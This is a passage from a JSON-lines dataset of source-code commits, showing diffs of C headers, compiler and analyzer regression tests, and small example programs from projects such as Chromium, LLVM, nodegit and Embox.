um-crosswalk,ondra-novak\/chromium.src,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,jaruba\/chromium.src,jaruba\/chromium.src,robclark\/chromium"}
{"commit":"af9bb33aa33d4beb5d0ac505d48530a56856f66c","old_file":"include\/media\/v4l2-image-sizes.h","new_file":"include\/media\/v4l2-image-sizes.h","old_contents":"","new_contents":"\/*\n * Standard image size definitions\n *\n * Copyright (C) 2013, Sylwester Nawrocki <sylvester.nawrocki@gmail.com>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\/\n#ifndef _IMAGE_SIZES_H\n#define _IMAGE_SIZES_H\n\n#define CIF_WIDTH\t352\n#define CIF_HEIGHT\t288\n\n#define QCIF_WIDTH\t176\n#define QCIF_HEIGHT\t144\n\n#define QQCIF_WIDTH\t88\n#define QQCIF_HEIGHT\t72\n\n#define QQVGA_WIDTH\t160\n#define QQVGA_HEIGHT\t120\n\n#define QVGA_WIDTH\t320\n#define QVGA_HEIGHT\t240\n\n#define SXGA_WIDTH\t1280\n#define SXGA_HEIGHT\t1024\n\n#define VGA_WIDTH\t640\n#define VGA_HEIGHT\t480\n\n#endif \/* _IMAGE_SIZES_H *\/\n","subject":"Add header file defining standard image sizes","message":"[media] V4L: Add header file defining standard image sizes\n\nAdd common header file defining standard image sizes, so we can\navoid redefining those in each driver.\n\nSigned-off-by: Sylwester Nawrocki <3ec980a5bae855ae8ff893bb06e50918b93af134@gmail.com>\nSigned-off-by: Mauro Carvalho Chehab <ad86ba2154032c9f55743a190faa2459a9d61d42@redhat.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"3a8985756e68560b5aa84adab988b681e1695f84","old_file":"generate\/templates\/manual\/include\/configurable_class_wrapper.h","new_file":"generate\/templates\/manual\/include\/configurable_class_wrapper.h","old_contents":"#ifndef CALLER_CONFIGURABLE_CLASS_WRAPPER_H\n#define CALLER_CONFIGURABLE_CLASS_WRAPPER_H\n\n#include <memory>\n#include <nan.h>\n#include <string>\n\n#include \"cleanup_handle.h\"\n\nnamespace nodegit {\n  class Context;\n\n  template<typename Traits>\n  class ConfigurableClassWrapper : public CleanupHandle {\n  public:\n    typedef typename Traits::cType cType;\n    typedef typename Traits::configurableCppClass configurableCppClass;\n\n    struct v8ConversionResult {\n      v8ConversionResult(std::string _error)\n        : error(std::move(_error)), result(nullptr)\n      {}\n\n      v8ConversionResult(std::shared_ptr<configurableCppClass> _result)\n        : result(std::move(_result))\n      {}\n\n      std::string error;\n      std::shared_ptr<configurableCppClass> result;\n    };\n\n    \/\/ We copy the entity\n    ConfigurableClassWrapper(nodegit::Context *_nodeGitContext)\n      : nodegitContext(_nodeGitContext), raw(nullptr) {}\n\n    virtual ~ConfigurableClassWrapper() {\n      if (raw != nullptr) {\n        delete raw;\n        raw = nullptr;\n      }\n    }\n\n    const Context *nodegitContext = nullptr;\n    cType *GetValue() {\n      return raw;\n    }\n\n  protected:\n    cType *raw;\n    std::vector<std::shared_ptr<CleanupHandle>> childCleanupVector;\n  };\n}\n\n#endif\n","new_contents":"#ifndef CALLER_CONFIGURABLE_CLASS_WRAPPER_H\n#define CALLER_CONFIGURABLE_CLASS_WRAPPER_H\n\n#include <memory>\n#include <nan.h>\n#include <string>\n\n#include \"cleanup_handle.h\"\n\nnamespace nodegit {\n  class Context;\n\n  template<typename Traits>\n  class ConfigurableClassWrapper : public CleanupHandle {\n  public:\n    typedef typename Traits::cType cType;\n    typedef typename Traits::configurableCppClass configurableCppClass;\n\n    struct v8ConversionResult {\n      v8ConversionResult(std::string _error)\n        : error(std::move(_error)), result(nullptr)\n      {}\n\n      v8ConversionResult(std::shared_ptr<configurableCppClass> _result)\n        : result(std::move(_result))\n      {}\n\n      std::string error;\n      std::shared_ptr<configurableCppClass> result;\n    };\n\n    \/\/ We copy the entity\n    ConfigurableClassWrapper(nodegit::Context *_nodeGitContext)\n      : nodegitContext(_nodeGitContext), raw(nullptr) {}\n\n    ConfigurableClassWrapper(const ConfigurableClassWrapper &) = delete;\n    ConfigurableClassWrapper(ConfigurableClassWrapper &&) = delete;\n    ConfigurableClassWrapper &operator=(const ConfigurableClassWrapper &) = delete;\n    ConfigurableClassWrapper &operator=(ConfigurableClassWrapper &&) = delete;\n\n    virtual ~ConfigurableClassWrapper() {\n      if (raw != nullptr) {\n        delete raw;\n        raw = nullptr;\n      }\n    }\n\n    const Context *nodegitContext = nullptr;\n    cType *GetValue() {\n      return raw;\n    }\n\n  protected:\n    cType *raw;\n    std::vector<std::shared_ptr<CleanupHandle>> childCleanupVector;\n  };\n}\n\n#endif\n","subject":"Delete copy and move constructors for ConfigurableClassWrapper","message":"Delete copy and move constructors for ConfigurableClassWrapper\n\n","lang":"C","license":"mit","repos":"jmurzy\/nodegit,jmurzy\/nodegit,nodegit\/nodegit,nodegit\/nodegit,jmurzy\/nodegit,jmurzy\/nodegit,nodegit\/nodegit,nodegit\/nodegit,nodegit\/nodegit,jmurzy\/nodegit"}
{"commit":"8e37740dc6b20c6ec044e5db3b23894614c7784f","old_file":"test\/Driver\/offloading-interoperability.c","new_file":"test\/Driver\/offloading-interoperability.c","old_contents":"\/\/ REQUIRES: clang-driver\n\/\/ REQUIRES: powerpc-registered-target\n\/\/ REQUIRES: nvptx-registered-target\n\n\/\/\n\/\/ Verify that CUDA device commands do not get OpenMP flags.\n\/\/\n\/\/ RUN: %clang -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp %s 2>&1 \\\n\/\/ RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE\n\/\/\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      clang{{.*}}\" \"-cc1\" \"-triple\" \"nvptx64-nvidia-cuda\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT:  -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas\" \"-m64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary\" \"--cuda\" \"-64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}\" \"-cc1\" \"-triple\" \"powerpc64le--linux-gnu\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ld\" \"-z\" \"relro\" \"--hash-style=gnu\" \"--eh-frame-hdr\" \"-m\" \"elf64lppc\"\n","new_contents":"\/\/ REQUIRES: clang-driver\n\/\/ REQUIRES: powerpc-registered-target\n\/\/ REQUIRES: nvptx-registered-target\n\n\/\/\n\/\/ Verify that CUDA device commands do not get OpenMP flags.\n\/\/\n\/\/ RUN: %clang -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp %s 2>&1 \\\n\/\/ RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE\n\/\/\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      clang{{.*}}\" \"-cc1\" \"-triple\" \"nvptx64-nvidia-cuda\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT:  -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas\" \"-m64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary\" \"--cuda\" \"-64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}\" \"-cc1\" \"-triple\" \"powerpc64le--linux-gnu\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ld\" {{.*}}\"-m\" \"elf64lppc\"\n","subject":"Fix link command pattern in offloading interoperability test.","message":"[OpenMP] Fix link command pattern in offloading interoperability test.\n\nIt was causing a few bots to fail.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@276983 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"14320dcce2895b07e85d11bdbb1d47aaeaad9142","old_file":"server.h","new_file":"server.h","old_contents":"#ifndef _SERVER_H\n#define _SERVER_H\n#include <time.h>\n#include <sys\/epoll.h>\n#include \"list.h\"\n#include \"threadpool.h\"\nint open_listenfd(int port);\nvoid* check_connections(void* data);\n\nstruct http_socket {\n    int fd;\n    \/*struct pollfd* poll_fd;*\/\n    struct epoll_event event;\n    char* read_buffer;\n    int read_buffer_size;\n    time_t last_access;\n    struct list_elem elem;\n};\n\nstruct future_elem {\n    struct future* future;\n    struct list_elem elem;\n};\n#endif\n\n","new_contents":"#ifndef _SERVER_H\n#define _SERVER_H\n#include <time.h>\n#include <sys\/epoll.h>\n#include \"list.h\"\n#include \"threadpool.h\"\nstruct http_socket;\n\nint open_listenfd(int port);\nvoid* check_connections(void* data);\nint watch_read(struct http_socket* http);\nint watch_write(struct http_socket* http);\nint destroy_socket(struct http_socket* http);\n\nstruct http_socket {\n    int fd;\n    \/*struct pollfd* poll_fd;*\/\n    struct epoll_event event;\n    char* read_buffer;\n    int read_buffer_size;\n    time_t last_access;\n    struct list_elem elem;\n};\n\nstruct future_elem {\n    struct future* future;\n    struct list_elem elem;\n};\n#endif\n\n","subject":"Define functions for polling of sockets.","message":"Define functions for polling of sockets.\n","lang":"C","license":"apache-2.0","repos":"tbporter\/http-server,tbporter\/http-server,tbporter\/http-server"}
{"commit":"f9457b88e1be84a0a03f8185d4b86e9f07562506","old_file":"pblib\/pblib\/PBMacros.h","new_file":"pblib\/pblib\/PBMacros.h","old_contents":"\/\/\n\/\/  PBMacros.h\n\/\/  pblib\n\/\/\n\/\/  Created by haxpor on 3\/5\/15.\n\/\/  Copyright (c) 2015 Maethee Chongchitnant. All rights reserved.\n\/\/\n\n#ifndef pblib_PBMacros_h\n#define pblib_PBMacros_h\n\n#define PB_IS_NSNull(obj)   ((obj == (id)[NSNull null]) ? YES : NO)\n\n#define PB_IS_NIL_OR_NSNull(obj)    ((obj == nil) || (obj == (id)[NSNull null]) ? YES : NO)\n#endif\n","new_contents":"\/\/\n\/\/  PBMacros.h\n\/\/  pblib\n\/\/\n\/\/  Created by haxpor on 3\/5\/15.\n\/\/  Copyright (c) 2015 Maethee Chongchitnant. All rights reserved.\n\/\/\n\n#ifndef pblib_PBMacros_h\n#define pblib_PBMacros_h\n\n\/**\n Check against NSNull.\n If input obj is NSNull then return YES, otherwise return NO.\n *\/\n#define PB_IS_NSNull(obj)   ((obj == (id)[NSNull null]) ? YES : NO)\n\n\/**\n Check against nil or NSNull.\n If input obj is nil, or NSNull then return YES, otherwise return NO.\n *\/\n#define PB_IS_NIL_OR_NSNull(obj)    ((obj == nil) || (obj == (id)[NSNull null]) ? YES : NO)\n\n#endif\n","subject":"Add comment for added macros.","message":"Add comment for added macros.\n","lang":"C","license":"mit","repos":"haxpor\/playbasis-ios,haxpor\/playbasis-ios,playbasis\/mobile-sdk-ios"}
{"commit":"49d804b0623790650086764dfdda15cc36b068e4","old_file":"pkg\/fizhi\/fizhi_land_SIZE.h","new_file":"pkg\/fizhi\/fizhi_land_SIZE.h","old_contents":"C $Header$\nC $Name$\n\nc Land Grid Horizontal Dimension (Number of Tiles)\nc ------------------------------------------------\n      integer nchp, maxtyp\n      parameter (maxtyp = 10)\nc     parameter (nchp = sNx*sNy*maxtyp)\n      parameter (nchp = 2048)\n","new_contents":"C $Header$\nC $Name$\n\nc Land Grid Horizontal Dimension (Number of Tiles)\nc ------------------------------------------------\n      integer nchp, maxtyp\n      parameter (maxtyp = 10)\n      parameter (nchp = sNx*sNy*maxtyp)\n","subject":"Make sure nchp is big enough for real vegetation tiles","message":"Make sure nchp is big enough for real vegetation tiles\n","lang":"C","license":"mit","repos":"altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h"}
{"commit":"756145fb4b46c5a8a77c4a3e0bef8c5382fbd951","old_file":"tests\/regression\/02-base\/61-no-int-context.c","new_file":"tests\/regression\/02-base\/61-no-int-context.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.interval --disable exp.widen-context --disable ana.base.context.int\n#include <assert.h>\n\nint f(int x) {\n  if (x)\n    return f(x+1);\n  else\n    return x;\n}\n\nint main () {\n  int a = f(1);\n  assert(!a);\n  return 0;\n}\n","subject":"Add test for ana.base.context.int disabled","message":"Add test for ana.base.context.int disabled\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"962d09e8e4566fe6780f106e98d8b131542defb5","old_file":"ui\/aura\/aura_switches.h","new_file":"ui\/aura\/aura_switches.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_AURA_AURA_SWITCHES_H_\n#define UI_AURA_AURA_SWITCHES_H_\n#pragma once\n\nnamespace switches {\n\nextern const char kAuraHostWindowSize[];\nextern const char kAuraWindows[];\n\n}  \/\/ namespace switches\n\n#endif  \/\/ UI_AURA_AURA_SWITCHES_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_AURA_AURA_SWITCHES_H_\n#define UI_AURA_AURA_SWITCHES_H_\n#pragma once\n\n#include \"ui\/aura\/aura_export.h\"\n\nnamespace switches {\n\nAURA_EXPORT extern const char kAuraHostWindowSize[];\nAURA_EXPORT extern const char kAuraWindows[];\n\n}  \/\/ namespace switches\n\n#endif  \/\/ UI_AURA_AURA_SWITCHES_H_\n","subject":"Fix shared library build for aura.","message":"Fix shared library build for aura.\n\nTBR=ben@chromium.org,derat@chromium.org\nR=ben@chromium.org,derat@chromium.org\nBUG=none\nTEST=none\n\nReview URL: http:\/\/codereview.chromium.org\/8438039\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@108299 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"yitian134\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium"}
{"commit":"c5f7bcbae9e82ae3e54987510397d063b941d14f","old_file":"test\/CFrontend\/2007-05-07-NestedStructReturn.c","new_file":"test\/CFrontend\/2007-05-07-NestedStructReturn.c","old_contents":"\/\/ RUN: %llvmgcc %s -S -fnested-functions -o - | grep {sret *%agg.result}\n\nstruct X { int m, n; };\n\nstruct X p(int n) {\n  struct X c(int m) {\n    struct X x;\n    x.m = m;\n    x.n = n;\n    return x;\n  }\n  return c(n);\n}\n","new_contents":"\/\/ RUN: %llvmgcc %s -S -fnested-functions -o - | grep {sret *%agg.result}\n\nstruct X { int m, n, o, p; };\n\nstruct X p(int n) {\n  struct X c(int m) {\n    struct X x;\n    x.m = m;\n    x.n = n;\n    return x;\n  }\n  return c(n);\n}\n","subject":"Make the struct bigger, in an attempt to get a \"struct return\" on more platforms.","message":"Make the struct bigger, in an attempt to get a \"struct return\" on more\nplatforms.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@37489 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap"}
{"commit":"35069f4960fce71e3d8052465ee90b70e6eb3b55","old_file":"plugins\/webpresence\/webpresenceprefs.ui.h","new_file":"plugins\/webpresence\/webpresenceprefs.ui.h","old_contents":"","new_contents":"\/****************************************************************************\n** ui.h extension file, included from the uic-generated form implementation.\n**\n** If you wish to add, delete or rename functions or slots use\n** Qt Designer which will update this file, preserving your code. Create an\n** init() function in place of a constructor, and a destroy() function in\n** place of a destructor.\n*****************************************************************************\/\n\n\nvoid WebPresencePrefsUI::init()\n{\n    m_url->setMode( KFile::File );\n    m_userStyleSheet->setFilter( \"*.xsl\" );\n}\n","subject":"Support using KURLRequester with remote files","message":"Support using KURLRequester with remote files\n\nsvn path=\/trunk\/kdenetwork\/kopete\/; revision=198696\n","lang":"C","license":"lgpl-2.1","repos":"Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,josh-wambua\/kopete,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136"}
{"commit":"5ad831820bf5c3c557f3b49e70c76c54a92e0085","old_file":"OctoKit\/OCTFileContent.h","new_file":"OctoKit\/OCTFileContent.h","old_contents":"\/\/\n\/\/  OCTFileContent.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by Aron Cedercrantz on 14-07-2013.\n\/\/  Copyright (c) 2013 GitHub. All rights reserved.\n\/\/\n\n#import \"OCTContent.h\"\n\n\/\/ A file in a git repository.\n@interface OCTFileContent : OCTContent\n\n\/\/ The encoding of the file content.\n@property (nonatomic, copy, readonly) NSString *encoding;\n\n\/\/ The raw, encoded, content of the file.\n\/\/\n\/\/ See encoding for the encoding used.\n@property (nonatomic, copy, readonly) NSString *content;\n\n@end\n","new_contents":"\/\/\n\/\/  OCTFileContent.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by Aron Cedercrantz on 14-07-2013.\n\/\/  Copyright (c) 2013 GitHub. All rights reserved.\n\/\/\n\n#import \"OCTContent.h\"\n\n\/\/ A file in a git repository.\n@interface OCTFileContent : OCTContent\n\n\/\/ The encoding of the file content.\n@property (nonatomic, copy, readonly) NSString *encoding;\n\n\/\/ The raw, encoded, content of the file.\n\/\/\n\/\/ See `encoding` for the encoding used.\n@property (nonatomic, copy, readonly) NSString *content;\n\n@end\n","subject":"Add backticks around the ref to encoding property.","message":"Add backticks around the ref to encoding property.\n\nSigned-off-by: Aron Cedercrantz <ce30127eefa07a02d568832e3de6952fb491981c@cedercrantz.se>","lang":"C","license":"mit","repos":"daukantas\/octokit.objc,cnbin\/octokit.objc,CHNLiPeng\/octokit.objc,phatblat\/octokit.objc,cnbin\/octokit.objc,GroundControl-Solutions\/octokit.objc,yeahdongcn\/octokit.objc,jonesgithub\/octokit.objc,GroundControl-Solutions\/octokit.objc,daemonchen\/octokit.objc,CleanShavenApps\/octokit.objc,wrcj12138aaa\/octokit.objc,xantage\/octokit.objc,CHNLiPeng\/octokit.objc,Palleas\/octokit.objc,daemonchen\/octokit.objc,leichunfeng\/octokit.objc,wrcj12138aaa\/octokit.objc,leichunfeng\/octokit.objc,phatblat\/octokit.objc,Acidburn0zzz\/octokit.objc,daukantas\/octokit.objc,Acidburn0zzz\/octokit.objc,xantage\/octokit.objc,jonesgithub\/octokit.objc,Palleas\/octokit.objc"}
{"commit":"0245c9fed8f4a463a005a2562e7a06a999fc1b5f","old_file":"categories\/software_Development\/C\/run_linux_command-popen\/runcmd.c","new_file":"categories\/software_Development\/C\/run_linux_command-popen\/runcmd.c","old_contents":"","new_contents":"#include<stdlib.h>\n#include<stdio.h>\n\n\/* Run an program (in this case 'ls -la') and show it in stdout *\/\n\nint main(void) \n{\n  FILE *fd;\n  char str_cmd[1024], str_buf[1024];\n\n  sprintf(str_cmd, \"ls -la \/tmp >\/dev\/null && echo testmt > \/tmp\/sysmt.log && cat \/tmp\/sysmt.log\");\n  \/\/sprintf(str_cmd, \"ls -la \/tmp\");\n\n  fd = popen(str_cmd, \"r\");\n  while (fgets(str_buf, 1024, fd) != NULL)\n  printf(\"%s\", str_buf);\n\t\n  fclose(fd);\n\n  exit(0);\n}\n","subject":"Add example to run an command on linux using C language","message":"Add example to run an command on linux using C language\n","lang":"C","license":"apache-2.0","repos":"mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb"}
{"commit":"09c0f20bb9372909232397300d74329cc793c552","old_file":"ui\/reflectionview.h","new_file":"ui\/reflectionview.h","old_contents":"#pragma once\n\n#include <QtGui\/QMouseEvent>\n#include <QtGui\/QPaintEvent>\n#include <QtWidgets\/QWidget>\n\n#include \"binaryninjaapi.h\"\n#include \"dockhandler.h\"\n#include \"uitypes.h\"\n\nclass ContextMenuManager;\nclass DisassemblyContainer;\nclass Menu;\nclass ViewFrame;\n\nclass BINARYNINJAUIAPI ReflectionView: public QWidget, public DockContextHandler\n{\n\tQ_OBJECT\n\tQ_INTERFACES(DockContextHandler)\n\n\tViewFrame* m_frame;\n\tBinaryViewRef m_data;\n\tDisassemblyContainer* m_disassemblyContainer;\n\npublic:\n\tReflectionView(ViewFrame* frame, BinaryViewRef data);\n\t~ReflectionView();\n\n\tvirtual void notifyOffsetChanged(uint64_t offset) override;\n\tvirtual void notifyViewChanged(ViewFrame* frame) override;\n\tvirtual bool shouldBeVisible(ViewFrame* frame) override;\n\nprotected:\n\tvirtual void contextMenuEvent(QContextMenuEvent* event) override;\n};\n","new_contents":"#pragma once\n\n#include <QtGui\/QMouseEvent>\n#include <QtGui\/QPaintEvent>\n#include <QtWidgets\/QWidget>\n\n#include \"binaryninjaapi.h\"\n#include \"dockhandler.h\"\n#include \"uitypes.h\"\n\nclass ContextMenuManager;\nclass DisassemblyContainer;\nclass Menu;\nclass ViewFrame;\n\nclass BINARYNINJAUIAPI ReflectionView: public QWidget, public DockContextHandler\n{\n\tQ_OBJECT\n\tQ_INTERFACES(DockContextHandler)\n\n\tViewFrame* m_frame;\n\tBinaryViewRef m_data;\n\tDisassemblyContainer* m_disassemblyContainer;\n\npublic:\n\tReflectionView(ViewFrame* frame, BinaryViewRef data);\n\t~ReflectionView();\n\n\tvirtual void notifyOffsetChanged(uint64_t offset) override;\n\tvirtual void notifyViewChanged(ViewFrame* frame) override;\n\tvirtual void notifyVisibilityChanged(bool visible) override;\n\tvirtual bool shouldBeVisible(ViewFrame* frame) override;\n\nprotected:\n\tvirtual void contextMenuEvent(QContextMenuEvent* event) override;\n};\n","subject":"Update reflection view on transition to visible state.","message":"Update reflection view on transition to visible state.\n","lang":"C","license":"mit","repos":"Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api"}
{"commit":"6a5ae45aad7943b8da905f2f1d7c894e412843ea","old_file":"cli\/tests\/hello\/hello.c","new_file":"cli\/tests\/hello\/hello.c","old_contents":"#include <stdio.h>\n\n#ifndef ENV_NAME\n#  define ENV_NAME \"host\"\n#endif\n\nint main(int argc, char* argv)\n{\n    printf(\"Hello World from Rebuild environment \" ENV_NAME \"\\n\");\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\n#ifndef ENV_NAME\n#  define ENV_NAME \"host\"\n#endif\n\nint main(int argc, char** argv)\n{\n    printf(\"Hello World from Rebuild environment \" ENV_NAME \"\\n\");\n    return 0;\n}\n","subject":"Fix main parameter of the test application","message":"tests: Fix main parameter of the test application\n\n[ci skip]\n\nSigned-off-by: Yan Vugenfirer <e958ec5a56cd9794647c3623b3aa5a85122e74a5@daynix.com>\n","lang":"C","license":"apache-2.0","repos":"rbld\/rebuild,daynix\/rebuild,rbld\/rebuild,daynix\/rebuild,daynix\/rebuild,rbld\/rebuild"}
{"commit":"8ebd28f63a1d16787621568363329a99b56d4184","old_file":"platform\/stm32f7\/cmds\/stm32f7_lcd_test.c","new_file":"platform\/stm32f7\/cmds\/stm32f7_lcd_test.c","old_contents":"","new_contents":"\n#include <errno.h>\n#include <string.h>\n#include <stdio.h>\n\n#include \"stm32746g_discovery.h\"\n#include \"stm32746g_discovery_lcd.h\"\n#include \"stm32746g_discovery_sdram.h\"\n\n#define LCD_FRAMEBUFFER  SDRAM_DEVICE_ADDR\n\nstatic void lcd_test(void) {\n\tif (BSP_LCD_Init() != LCD_OK) {\n\t\tprintf(\">>> BSP_LCD_Init failed\\n\");\n\t}\n\n\t\/* Initialize the LCD Layers *\/\n\tBSP_LCD_LayerDefaultInit(LTDC_ACTIVE_LAYER, LCD_FRAMEBUFFER);\n\n\n\t  \/* Set LCD Foreground Layer  *\/\n\tBSP_LCD_SelectLayer(LTDC_ACTIVE_LAYER);\n\n\tBSP_LCD_SetFont(&LCD_DEFAULT_FONT);\n\n\t\/* Clear the LCD *\/\n\tBSP_LCD_SetBackColor(LCD_COLOR_WHITE);\n\tBSP_LCD_Clear(LCD_COLOR_WHITE);\n\n\t\/* Set the LCD Text Color *\/\n\tBSP_LCD_SetTextColor(LCD_COLOR_DARKBLUE);\n\n\t\/* Display LCD messages *\/\n\tBSP_LCD_DisplayStringAt(0, 10, (uint8_t *)\"STM32F746G BSP\", CENTER_MODE);\n\n\tBSP_LCD_SetTextColor(LCD_COLOR_DARKGREEN);\n\tBSP_LCD_DisplayStringAt(0, 60, (uint8_t *)\"Embox LCD example\", CENTER_MODE);\n\n\tBSP_LCD_SetTextColor(LCD_COLOR_BLACK);\n\tBSP_LCD_DisplayStringAt(0, 200, (uint8_t *)\"All rights reserved\", CENTER_MODE);\n}\n\nint main(int argc, char *argv[]) {\n\tprintf(\"STM32F7 LCD test start\\n\");\n\t\n\tlcd_test();\n\n\twhile (1) {\n\t}\n\n\treturn 0;\n}\n","subject":"Add new cube-based LCD test","message":"stm32f7: Add new cube-based LCD test\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"a339e7138090b2a756b89bdc1f3b9969bb5c5870","old_file":"tests\/regression\/36-octapron\/50-evalint.c","new_file":"tests\/regression\/36-octapron\/50-evalint.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron --enable ana.int.interval\n#include <assert.h>\n\nvoid foo(int a, int *pb) {\n  int b = *pb;\n   \/\/ base knows a == 4 and b == 4, octApron only knows a == 4\n  assert(a == b);\n}\n\nvoid main() {\n  int x, y, z, a, b;\n  if (x < y && y < z) {\n    \/\/ base doesn't know anything, octApron knows x < y < z\n    assert(x < y);\n    assert(y < z);\n    assert(x < z);\n\n    if (3 <= x && z <= 5) {\n      \/\/ base knows 3 <= x and z <= 5, octApron knows x == 3 and y == 4 and z == 5\n      a = y; \/\/ base should now know a == 4 via EvalInt query\n\n      assert(x == 3);\n      assert(y == 4);\n      assert(z == 5);\n      assert(a == 4);\n\n      b = 4;\n      foo(a, &b); \/\/ base should add a == 4 and b 